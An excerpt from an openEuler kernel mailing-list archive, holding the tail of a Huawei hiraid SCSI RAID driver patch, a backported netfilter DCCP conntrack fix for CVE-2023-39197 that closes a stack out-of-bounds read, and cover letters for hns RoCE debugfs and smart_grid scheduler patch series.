dev_warn(hdev->dev, "cid[%d] qid[%d] abort succ\n", cid, hwq); + return SUCCESS; + } + dev_warn(hdev->dev, "cid[%d] qid[%d] abort failed, timeout\n", cid, hwq); + return FAILED; +} + +static int hiraid_scsi_reset(struct scsi_cmnd *scmd, enum hiraid_rst_type rst) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + struct hiraid_sdev_hostdata *hostdata; + int ret; + + if (hdev->state != DEV_LIVE) + return SUCCESS; + + hostdata = scmd->device->hostdata; + + dev_warn(hdev->dev, "sdev[%d:%d] send %s reset\n", scmd->device->channel, scmd->device->id, + rst ? "bus" : "target"); + ret = hiraid_send_reset_cmd(hdev, rst, hostdata->hdid); + if ((ret == 0) || (ret == FW_EH_DEV_NONE && rst == HIRAID_RESET_TARGET)) { + if (rst == HIRAID_RESET_TARGET) { + ret = wait_tgt_reset_io_done(scmd); + if (ret) { + dev_warn(hdev->dev, "sdev[%d:%d] target has %d peding cmd, target reset failed\n", + scmd->device->channel, scmd->device->id, + hostdata->pend_count); + return FAILED; + } + } + dev_warn(hdev->dev, "sdev[%d:%d] %s reset success\n", + scmd->device->channel, scmd->device->id, rst ? "bus" : "target"); + return SUCCESS; + } + + dev_warn(hdev->dev, "sdev[%d:%d] %s reset failed\n", + scmd->device->channel, scmd->device->id, rst ? "bus" : "target"); + return FAILED; +} + +static int hiraid_target_reset(struct scsi_cmnd *scmd) +{ + return hiraid_scsi_reset(scmd, HIRAID_RESET_TARGET); +} + +static int hiraid_bus_reset(struct scsi_cmnd *scmd) +{ + return hiraid_scsi_reset(scmd, HIRAID_RESET_BUS); +} + +static int hiraid_host_reset(struct scsi_cmnd *scmd) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + + if (hdev->state != DEV_LIVE) + return SUCCESS; + + dev_warn(hdev->dev, "sdev[%d:%d] send host reset\n", + scmd->device->channel, scmd->device->id); + if (hiraid_reset_work_sync(hdev) == -EBUSY) + flush_work(&hdev->reset_work); + + if (hdev->state != DEV_LIVE) { + dev_warn(hdev->dev, "sdev[%d:%d] host reset failed\n", + scmd->device->channel, scmd->device->id); + return FAILED; + } + + dev_warn(hdev->dev, "sdev[%d:%d] host reset success\n", + scmd->device->channel, scmd->device->id); + + return SUCCESS; +} + +static pci_ers_result_t hiraid_pci_error_detected(struct pci_dev *pdev, + pci_channel_state_t state) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + dev_info(hdev->dev, "pci error detected, state[%d]\n", state); + + switch (state) { + case pci_channel_io_normal: + dev_warn(hdev->dev, "channel is normal, do nothing\n"); + + return PCI_ERS_RESULT_CAN_RECOVER; + case pci_channel_io_frozen: + dev_warn(hdev->dev, "channel io frozen, need reset controller\n"); + + scsi_block_requests(hdev->shost); + + hiraid_dev_state_trans(hdev, DEV_RESETTING); + + return PCI_ERS_RESULT_NEED_RESET; + case pci_channel_io_perm_failure: + dev_warn(hdev->dev, "channel io failure, disconnect\n"); + + return PCI_ERS_RESULT_DISCONNECT; + } + + return PCI_ERS_RESULT_NEED_RESET; +} + +static pci_ers_result_t hiraid_pci_slot_reset(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + dev_info(hdev->dev, "restart after slot reset\n"); + + pci_restore_state(pdev); + + if (!queue_work(work_queue, &hdev->reset_work)) { + dev_err(hdev->dev, "err, the device is resetting state\n"); + return PCI_ERS_RESULT_NONE; + } + + flush_work(&hdev->reset_work); + + scsi_unblock_requests(hdev->shost); + + return PCI_ERS_RESULT_RECOVERED; +} + +static void hiraid_reset_pci_finish(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + dev_info(hdev->dev, "enter hiraid reset finish\n"); +} + +static ssize_t csts_pp_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) { + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_PP_MASK); + ret >>= HIRAID_CSTS_PP_SHIFT; + } + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t csts_shst_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) { + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_SHST_MASK); + ret >>= HIRAID_CSTS_SHST_SHIFT; + } + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t csts_cfs_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) { + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_CFS_MASK); + ret >>= HIRAID_CSTS_CFS_SHIFT; + } + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t csts_rdy_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_RDY); + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t fw_version_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + + return snprintf(buf, PAGE_SIZE, "%s\n", hdev->ctrl_info->fw_version); +} + +static ssize_t hdd_dispatch_store(struct device *cdev, struct device_attribute *attr, + const char *buf, size_t count) +{ + int val = 0; + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + + if (kstrtoint(buf, 0, &val) != 0) + return -EINVAL; + if (val < DISPATCH_BY_CPU || val > DISPATCH_BY_DISK) + return -EINVAL; + hdev->hdd_dispatch = val; + + return strlen(buf); +} +static ssize_t hdd_dispatch_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + + return snprintf(buf, PAGE_SIZE, "%d\n", hdev->hdd_dispatch); +} + +static DEVICE_ATTR_RO(csts_pp); +static DEVICE_ATTR_RO(csts_shst); +static DEVICE_ATTR_RO(csts_cfs); +static DEVICE_ATTR_RO(csts_rdy); +static DEVICE_ATTR_RO(fw_version); +static DEVICE_ATTR_RW(hdd_dispatch); + +static struct device_attribute *hiraid_host_attrs[] = { + &dev_attr_csts_rdy, + &dev_attr_csts_pp, + &dev_attr_csts_cfs, + &dev_attr_fw_version, + &dev_attr_csts_shst, + &dev_attr_hdd_dispatch, + NULL, +}; + +static int hiraid_get_vd_info(struct hiraid_dev *hdev, struct hiraid_vd_info *vd_info, u16 vid) +{ + struct hiraid_admin_command admin_cmd; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + int ret; + + if (hdev->state >= DEV_RESETTING) { + dev_err(hdev->dev, "err, host state[%d] is not right\n", hdev->state); + return -EBUSY; + } + + data_ptr = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.usr_cmd.opcode = USR_CMD_READ; + admin_cmd.usr_cmd.info_0.subopcode = cpu_to_le16(USR_CMD_VDINFO); + admin_cmd.usr_cmd.info_1.data_len = cpu_to_le16(USR_CMD_RDLEN); + admin_cmd.usr_cmd.info_1.param_len = cpu_to_le16(VDINFO_PARAM_LEN); + admin_cmd.usr_cmd.cdw10 = cpu_to_le32(vid); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, USRCMD_TIMEOUT); + if (!ret) + memcpy(vd_info, data_ptr, sizeof(struct hiraid_vd_info)); + + dma_free_coherent(hdev->dev, PAGE_SIZE, data_ptr, buffer_phy); + + return ret; +} + +static int hiraid_get_bgtask(struct hiraid_dev *hdev, struct hiraid_bgtask *bgtask) +{ + struct hiraid_admin_command admin_cmd; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + int ret; + + if (hdev->state >= DEV_RESETTING) { + dev_err(hdev->dev, "err, host state[%d] is not right\n", hdev->state); + return -EBUSY; + } + + data_ptr = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.usr_cmd.opcode = USR_CMD_READ; + admin_cmd.usr_cmd.info_0.subopcode = cpu_to_le16(USR_CMD_BGTASK); + admin_cmd.usr_cmd.info_1.data_len = cpu_to_le16(USR_CMD_RDLEN); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, USRCMD_TIMEOUT); + if (!ret) + memcpy(bgtask, data_ptr, sizeof(struct hiraid_bgtask)); + + dma_free_coherent(hdev->dev, PAGE_SIZE, data_ptr, buffer_phy); + + return ret; +} + +static ssize_t raid_level_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct scsi_device *sdev; + struct hiraid_dev *hdev; + struct hiraid_vd_info *vd_info; + struct hiraid_sdev_hostdata *hostdata; + int ret; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + vd_info = kmalloc(sizeof(*vd_info), GFP_KERNEL); + if (!vd_info || !HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + return snprintf(buf, PAGE_SIZE, "NA\n"); + + ret = hiraid_get_vd_info(hdev, vd_info, sdev->id); + if (ret) + vd_info->rg_level = ARRAY_SIZE(raid_levels) - 1; + + ret = (vd_info->rg_level < ARRAY_SIZE(raid_levels)) ? + vd_info->rg_level : (ARRAY_SIZE(raid_levels) - 1); + + kfree(vd_info); + + return snprintf(buf, PAGE_SIZE, "RAID-%s\n", raid_levels[ret]); +} + +static ssize_t raid_state_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct scsi_device *sdev; + struct hiraid_dev *hdev; + struct hiraid_vd_info *vd_info; + struct hiraid_sdev_hostdata *hostdata; + int ret; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + vd_info = kmalloc(sizeof(*vd_info), GFP_KERNEL); + if (!vd_info || !HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + return snprintf(buf, PAGE_SIZE, "NA\n"); + + ret = hiraid_get_vd_info(hdev, vd_info, sdev->id); + if (ret) { + vd_info->vd_status = 0; + vd_info->rg_id = 0xff; + } + + ret = (vd_info->vd_status < ARRAY_SIZE(raid_states)) ? vd_info->vd_status : 0; + + kfree(vd_info); + + return snprintf(buf, PAGE_SIZE, "%s\n", raid_states[ret]); +} + +static ssize_t raid_resync_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct scsi_device *sdev; + struct hiraid_dev *hdev; + struct hiraid_vd_info *vd_info; + struct hiraid_bgtask *bgtask; + struct hiraid_sdev_hostdata *hostdata; + u8 rg_id, i, progress = 0; + int ret; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + vd_info = kmalloc(sizeof(*vd_info), GFP_KERNEL); + if (!vd_info || !HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + return snprintf(buf, PAGE_SIZE, "NA\n"); + + ret = hiraid_get_vd_info(hdev, vd_info, sdev->id); + if (ret) + goto out; + + rg_id = vd_info->rg_id; + + bgtask = (struct hiraid_bgtask *)vd_info; + ret = hiraid_get_bgtask(hdev, bgtask); + if (ret) + goto out; + for (i = 0; i < bgtask->task_num; i++) { + if ((bgtask->bgtask[i].type == BGTASK_TYPE_REBUILD) && + (le16_to_cpu(bgtask->bgtask[i].vd_id) == rg_id)) + progress = bgtask->bgtask[i].progress; + } + +out: + kfree(vd_info); + return snprintf(buf, PAGE_SIZE, "%d\n", progress); +} + +static ssize_t dispatch_hwq_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct hiraid_sdev_hostdata *hostdata; + + hostdata = to_scsi_device(dev)->hostdata; + return snprintf(buf, PAGE_SIZE, "%d\n", hostdata->hwq); +} + +static ssize_t dispatch_hwq_store(struct device *dev, struct device_attribute *attr, + const char *buf, size_t count) +{ + int val; + struct hiraid_dev *hdev; + struct scsi_device *sdev; + struct hiraid_sdev_hostdata *hostdata; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + if (kstrtoint(buf, 0, &val) != 0) + return -EINVAL; + if (val <= 0 || val >= hdev->online_queues) + return -EINVAL; + if (!hiraid_disk_is_hdd(hostdata->attr)) + return -EINVAL; + + hostdata->hwq = val; + return strlen(buf); +} + +static DEVICE_ATTR_RO(raid_level); +static DEVICE_ATTR_RO(raid_state); +static DEVICE_ATTR_RO(raid_resync); +static DEVICE_ATTR_RW(dispatch_hwq); + +static struct device_attribute *hiraid_dev_attrs[] = { + &dev_attr_raid_state, + &dev_attr_raid_level, + &dev_attr_raid_resync, + &dev_attr_dispatch_hwq, + NULL, +}; + +static struct pci_error_handlers hiraid_err_handler = { + .error_detected = hiraid_pci_error_detected, + .slot_reset = hiraid_pci_slot_reset, + .reset_done = hiraid_reset_pci_finish, +}; + +static int hiraid_sysfs_host_reset(struct Scsi_Host *shost, int reset_type) +{ + int ret; + struct hiraid_dev *hdev = shost_priv(shost); + + dev_info(hdev->dev, "start sysfs host reset cmd\n"); + ret = hiraid_reset_work_sync(hdev); + dev_info(hdev->dev, "stop sysfs host reset cmd[%d]\n", ret); + + return ret; +} + +static int hiraid_scan_finished(struct Scsi_Host *shost, unsigned long time) +{ + struct hiraid_dev *hdev = shost_priv(shost); + + hiraid_scan_work(&hdev->scan_work); + + return 1; +} + +static struct scsi_host_template hiraid_driver_template = { + .module = THIS_MODULE, + .name = "hiraid", + .proc_name = "hiraid", + .queuecommand = hiraid_queue_command, + .slave_alloc = hiraid_slave_alloc, + .slave_destroy = hiraid_slave_destroy, + .slave_configure = hiraid_slave_configure, + .scan_finished = hiraid_scan_finished, + .eh_timed_out = hiraid_timed_out, + .eh_abort_handler = hiraid_abort, + .eh_target_reset_handler = hiraid_target_reset, + .eh_bus_reset_handler = hiraid_bus_reset, + .eh_host_reset_handler = hiraid_host_reset, + .change_queue_depth = scsi_change_queue_depth, + .this_id = -1, + .unchecked_isa_dma = 0, + .shost_attrs = hiraid_host_attrs, + .sdev_attrs = hiraid_dev_attrs, + .host_reset = hiraid_sysfs_host_reset, +}; + +static void hiraid_shutdown(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + hiraid_delete_io_queues(hdev); + hiraid_disable_admin_queue(hdev, true); +} + +static bool hiraid_bsg_is_valid(struct bsg_job *job) +{ + u64 timeout = 0; + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_bsg_request *bsg_req = job->request; + struct hiraid_dev *hdev = shost_priv(dev_to_shost(job->dev)); + + if (bsg_req == NULL || job->request_len != sizeof(struct hiraid_bsg_request)) + return false; + + switch (bsg_req->msgcode) { + case HIRAID_BSG_ADMIN: + timeout = msecs_to_jiffies(bsg_req->admcmd.timeout_ms); + break; + case HIRAID_BSG_IOPTHRU: + timeout = msecs_to_jiffies(bsg_req->pthrucmd.timeout_ms); + break; + default: + dev_info(hdev->dev, "bsg unsupport msgcode[%d]\n", bsg_req->msgcode); + return false; + } + + if ((timeout + CTL_RST_TIME) > rq->timeout) { + dev_err(hdev->dev, "bsg invalid time\n"); + return false; + } + + return true; +} + +/* bsg dispatch user command */ +static int hiraid_bsg_dispatch(struct bsg_job *job) +{ + struct Scsi_Host *shost = dev_to_shost(job->dev); + struct hiraid_dev *hdev = shost_priv(shost); + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_bsg_request *bsg_req = job->request; + int ret = -ENOMSG; + + job->reply_len = 0; + + if (!hiraid_bsg_is_valid(job)) { + bsg_job_done(job, ret, 0); + return 0; + } + + dev_log_dbg(hdev->dev, "bsg msgcode[%d] msglen[%d] timeout[%d];" + "reqnsge[%d], reqlen[%d]\n", + bsg_req->msgcode, job->request_len, rq->timeout, + job->request_payload.sg_cnt, job->request_payload.payload_len); + + switch (bsg_req->msgcode) { + case HIRAID_BSG_ADMIN: + ret = hiraid_user_send_admcmd(hdev, job); + break; + case HIRAID_BSG_IOPTHRU: + ret = hiraid_user_send_ptcmd(hdev, job); + break; + default: + break; + } + + if (ret > 0) + ret = ret | (ret << 8); + + bsg_job_done(job, ret, 0); + return 0; +} + +static inline void hiraid_unregist_bsg(struct hiraid_dev *hdev) +{ + if (hdev->bsg_queue) { + bsg_unregister_queue(hdev->bsg_queue); + blk_cleanup_queue(hdev->bsg_queue); + } +} +static int hiraid_probe(struct pci_dev *pdev, const struct pci_device_id *id) +{ + struct hiraid_dev *hdev; + struct Scsi_Host *shost; + int node, ret; + char bsg_name[15]; + + shost = scsi_host_alloc(&hiraid_driver_template, sizeof(*hdev)); + if (!shost) { + dev_err(&pdev->dev, "failed to allocate scsi host\n"); + return -ENOMEM; + } + hdev = shost_priv(shost); + hdev->pdev = pdev; + hdev->dev = get_device(&pdev->dev); + + node = dev_to_node(hdev->dev); + if (node == NUMA_NO_NODE) { + node = first_memory_node; + set_dev_node(hdev->dev, node); + } + hdev->numa_node = node; + hdev->shost = shost; + hdev->instance = shost->host_no; + pci_set_drvdata(pdev, hdev); + + ret = hiraid_dev_map(hdev); + if (ret) + goto put_dev; + + init_rwsem(&hdev->dev_rwsem); + INIT_WORK(&hdev->scan_work, hiraid_scan_work); + INIT_WORK(&hdev->timesyn_work, hiraid_timesyn_work); + INIT_WORK(&hdev->reset_work, hiraid_reset_work); + INIT_WORK(&hdev->fwact_work, hiraid_fwactive_work); + spin_lock_init(&hdev->state_lock); + + ret = hiraid_alloc_resources(hdev); + if (ret) + goto dev_unmap; + + ret = hiraid_pci_enable(hdev); + if (ret) + goto resources_free; + + ret = hiraid_setup_admin_queue(hdev); + if (ret) + goto pci_disable; + + ret = hiraid_init_control_info(hdev); + if (ret) + goto disable_admin_q; + + ret = hiraid_setup_io_queues(hdev); + if (ret) + goto disable_admin_q; + + hiraid_shost_init(hdev); + + ret = scsi_add_host(hdev->shost, hdev->dev); + if (ret) { + dev_err(hdev->dev, "add shost to system failed, ret[%d]\n", ret); + goto remove_io_queues; + } + + snprintf(bsg_name, sizeof(bsg_name), "hiraid%d", shost->host_no); + hdev->bsg_queue = bsg_setup_queue(&shost->shost_gendev, bsg_name, hiraid_bsg_dispatch, + NULL, hiraid_get_max_cmd_size(hdev)); + if (IS_ERR(hdev->bsg_queue)) { + dev_err(hdev->dev, "err, setup bsg failed\n"); + hdev->bsg_queue = NULL; + goto remove_io_queues; + } + + if (hdev->online_queues == HIRAID_ADMIN_QUEUE_NUM) { + dev_warn(hdev->dev, "warn: only admin queue can be used\n"); + return 0; + } + + hdev->state = DEV_LIVE; + + hiraid_init_async_event(hdev); + + ret = hiraid_dev_list_init(hdev); + if (ret) + goto unregist_bsg; + + ret = hiraid_configure_timestamp(hdev); + if (ret) + dev_warn(hdev->dev, "time synchronization failed\n"); + + ret = hiraid_alloc_io_ptcmds(hdev); + if (ret) + goto unregist_bsg; + + scsi_scan_host(hdev->shost); + + return 0; + +unregist_bsg: + hiraid_unregist_bsg(hdev); +remove_io_queues: + hiraid_delete_io_queues(hdev); +disable_admin_q: + hiraid_free_sense_buffer(hdev); + hiraid_disable_admin_queue(hdev, false); +pci_disable: + hiraid_free_all_queues(hdev); + hiraid_pci_disable(hdev); +resources_free: + hiraid_free_resources(hdev); +dev_unmap: + hiraid_dev_unmap(hdev); +put_dev: + put_device(hdev->dev); + scsi_host_put(shost); + + return -ENODEV; +} + +static void hiraid_remove(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + struct Scsi_Host *shost = hdev->shost; + + dev_info(hdev->dev, "enter hiraid remove\n"); + + hiraid_dev_state_trans(hdev, DEV_DELETING); + flush_work(&hdev->reset_work); + + if (!pci_device_is_present(pdev)) + hiraid_flush_running_cmds(hdev); + + hiraid_unregist_bsg(hdev); + scsi_remove_host(shost); + hiraid_free_io_ptcmds(hdev); + kfree(hdev->dev_info); + hiraid_delete_io_queues(hdev); + hiraid_free_sense_buffer(hdev); + hiraid_disable_admin_queue(hdev, false); + hiraid_free_all_queues(hdev); + hiraid_pci_disable(hdev); + hiraid_free_resources(hdev); + hiraid_dev_unmap(hdev); + put_device(hdev->dev); + scsi_host_put(shost); + + dev_info(hdev->dev, "exit hiraid remove\n"); +} + +static const struct pci_device_id hiraid_hw_card_ids[] = { + { PCI_DEVICE(PCI_VENDOR_ID_HUAWEI_LOGIC, HIRAID_SERVER_DEVICE_HBA_DID) }, + { PCI_DEVICE(PCI_VENDOR_ID_HUAWEI_LOGIC, HIRAID_SERVER_DEVICE_RAID_DID) }, + { 0, } +}; +MODULE_DEVICE_TABLE(pci, hiraid_hw_card_ids); + +static struct pci_driver hiraid_driver = { + .name = "hiraid", + .id_table = hiraid_hw_card_ids, + .probe = hiraid_probe, + .remove = hiraid_remove, + .shutdown = hiraid_shutdown, + .err_handler = &hiraid_err_handler, +}; + +static int __init hiraid_init(void) +{ + int ret; + + work_queue = alloc_workqueue("hiraid-wq", WQ_UNBOUND | WQ_MEM_RECLAIM | WQ_SYSFS, 0); + if (!work_queue) + return -ENOMEM; + + hiraid_class = class_create(THIS_MODULE, "hiraid"); + if (IS_ERR(hiraid_class)) { + ret = PTR_ERR(hiraid_class); + goto destroy_wq; + } + + ret = pci_register_driver(&hiraid_driver); + if (ret < 0) + goto destroy_class; + + return 0; + +destroy_class: + class_destroy(hiraid_class); +destroy_wq: + destroy_workqueue(work_queue); + + return ret; +} + +static void __exit hiraid_exit(void) +{ + pci_unregister_driver(&hiraid_driver); + class_destroy(hiraid_class); + destroy_workqueue(work_queue); +} + +MODULE_AUTHOR("Huawei Technologies CO., Ltd"); +MODULE_DESCRIPTION("Huawei RAID driver"); +MODULE_LICENSE("GPL"); +MODULE_VERSION(HIRAID_DRV_VERSION); +module_init(hiraid_init); +module_exit(hiraid_exit); -- 2.22.0.windows.1

2 1

[PATCH openEuler-1.0-LTS v2] netfilter: conntrack: dccp: copy entire header to stack buffer, not just basic one
by Zhengchao Shao 16 Nov '23

16 Nov '23

From: Florian Westphal <fw(a)strlen.de> mainline inclusion from mainline-v6.5-rc1 commit ff0a3a7d52ff7282dbd183e7fc29a1fe386b0c30 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZSO CVE: CVE-2023-39197 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- Eric Dumazet says: nf_conntrack_dccp_packet() has an unique: dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); And nothing more is 'pulled' from the packet, depending on the content. dh->dccph_doff, and/or dh->dccph_x ...) So dccp_ack_seq() is happily reading stuff past the _dh buffer. BUG: KASAN: stack-out-of-bounds in nf_conntrack_dccp_packet+0x1134/0x11c0 Read of size 4 at addr ffff000128f66e0c by task syz-executor.2/29371 [..] Fix this by increasing the stack buffer to also include room for the extra sequence numbers and all the known dccp packet type headers, then pull again after the initial validation of the basic header. While at it, mark packets invalid that lack 48bit sequence bit but where RFC says the type MUST use them. Compile tested only. v2: first skb_header_pointer() now needs to adjust the size to only pull the generic header. (Eric) Heads-up: I intend to remove dccp conntrack support later this year. Fixes: 2bc780499aa3 ("[NETFILTER]: nf_conntrack: add DCCP protocol support") Reported-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Florian Westphal <fw(a)strlen.de> Reviewed-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Pablo Neira Ayuso <pablo(a)netfilter.org> Conflicts: net/netfilter/nf_conntrack_proto_dccp.c Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/netfilter/nf_conntrack_proto_dccp.c | 50 ++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 2 deletions(-) diff --git a/net/netfilter/nf_conntrack_proto_dccp.c b/net/netfilter/nf_conntrack_proto_dccp.c index 3ba1f4d9934f..cd7a51a0f100 100644 --- a/net/netfilter/nf_conntrack_proto_dccp.c +++ b/net/netfilter/nf_conntrack_proto_dccp.c @@ -433,17 +433,47 @@ static u64 dccp_ack_seq(const struct dccp_hdr *dh) ntohl(dhack->dccph_ack_nr_low); } +struct nf_conntrack_dccp_buf { + struct dccp_hdr dh; /* generic header part */ + struct dccp_hdr_ext ext; /* optional depending dh->dccph_x */ + union { /* depends on header type */ + struct dccp_hdr_ack_bits ack; + struct dccp_hdr_request req; + struct dccp_hdr_response response; + struct dccp_hdr_reset rst; + } u; +}; + +static struct dccp_hdr * +dccp_header_pointer(const struct sk_buff *skb, int offset, const struct dccp_hdr *dh, + struct nf_conntrack_dccp_buf *buf) +{ + unsigned int hdrlen = __dccp_hdr_len(dh); + + if (hdrlen > sizeof(*buf)) + return NULL; + + return skb_header_pointer(skb, offset, hdrlen, buf); +} + static int dccp_packet(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, enum ip_conntrack_info ctinfo) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); - struct dccp_hdr _dh, *dh; + struct nf_conntrack_dccp_buf _dh; u_int8_t type, old_state, new_state; enum ct_dccp_roles role; unsigned int *timeouts; + struct dccp_hdr *dh; dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); BUG_ON(dh == NULL); + + /* pull again, including possible 48 bit sequences and subtype header */ + dh = dccp_header_pointer(skb, dataoff, dh, &_dh); + if (!dh) + return NF_DROP; + type = dh->dccph_type; if (type == DCCP_PKT_RESET && @@ -526,10 +556,20 @@ static int dccp_error(struct net *net, struct nf_conn *tmpl, struct sk_buff *skb, unsigned int dataoff, u_int8_t pf, unsigned int hooknum) { + static const unsigned long require_seq48 = 1 << DCCP_PKT_REQUEST | + 1 << DCCP_PKT_RESPONSE | + 1 << DCCP_PKT_CLOSEREQ | + 1 << DCCP_PKT_CLOSE | + 1 << DCCP_PKT_RESET | + 1 << DCCP_PKT_SYNC | + 1 << DCCP_PKT_SYNCACK; struct dccp_hdr _dh, *dh; unsigned int dccp_len = skb->len - dataoff; unsigned int cscov; const char *msg; + u8 type; + + BUILD_BUG_ON(DCCP_PKT_INVALID >= BITS_PER_LONG); dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); if (dh == NULL) { @@ -559,11 +599,17 @@ static int dccp_error(struct net *net, struct nf_conn *tmpl, goto out_invalid; } - if (dh->dccph_type >= DCCP_PKT_INVALID) { + type = dh->dccph_type; + if (type >= DCCP_PKT_INVALID) { msg = "nf_ct_dccp: reserved packet type "; goto out_invalid; } + if (test_bit(type, &require_seq48) && !dh->dccph_x) { + msg = "nf_ct_dccp: type lacks 48bit sequence numbers"; + goto out_invalid; + } + return NF_ACCEPT; out_invalid: -- 2.34.1

2 1

[OLK-5.10 0/2] Support SRQ Context tracing by debugfs
by Chengchang Tang 16 Nov '23

16 Nov '23

From: Juan Zhou <zhoujuan51(a)h-partners.com> The first patch refactors the hns debugfs function, and the second patch supports querying SRQ context by debugfs. Junxian Huang (1): RDMA/hns: Refactor hns RoCE debugfs wenglianfa (1): RDMA/hns: Support SRQ Context tracing by debugfs drivers/infiniband/hw/hns/hns_roce_debugfs.c | 318 +++++++++---------- drivers/infiniband/hw/hns/hns_roce_debugfs.h | 57 ++++ drivers/infiniband/hw/hns/hns_roce_device.h | 7 +- drivers/infiniband/hw/hns/hns_roce_hw_v2.c | 26 +- drivers/infiniband/hw/hns/hns_roce_main.c | 1 - drivers/infiniband/hw/hns/hns_roce_srq.c | 12 + 6 files changed, 242 insertions(+), 179 deletions(-) -- 2.30.0

1 2

[PATCH OLK-5.10 v5 00/19] introduce smart_grid zone
by Yipeng Zou 16 Nov '23

16 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ 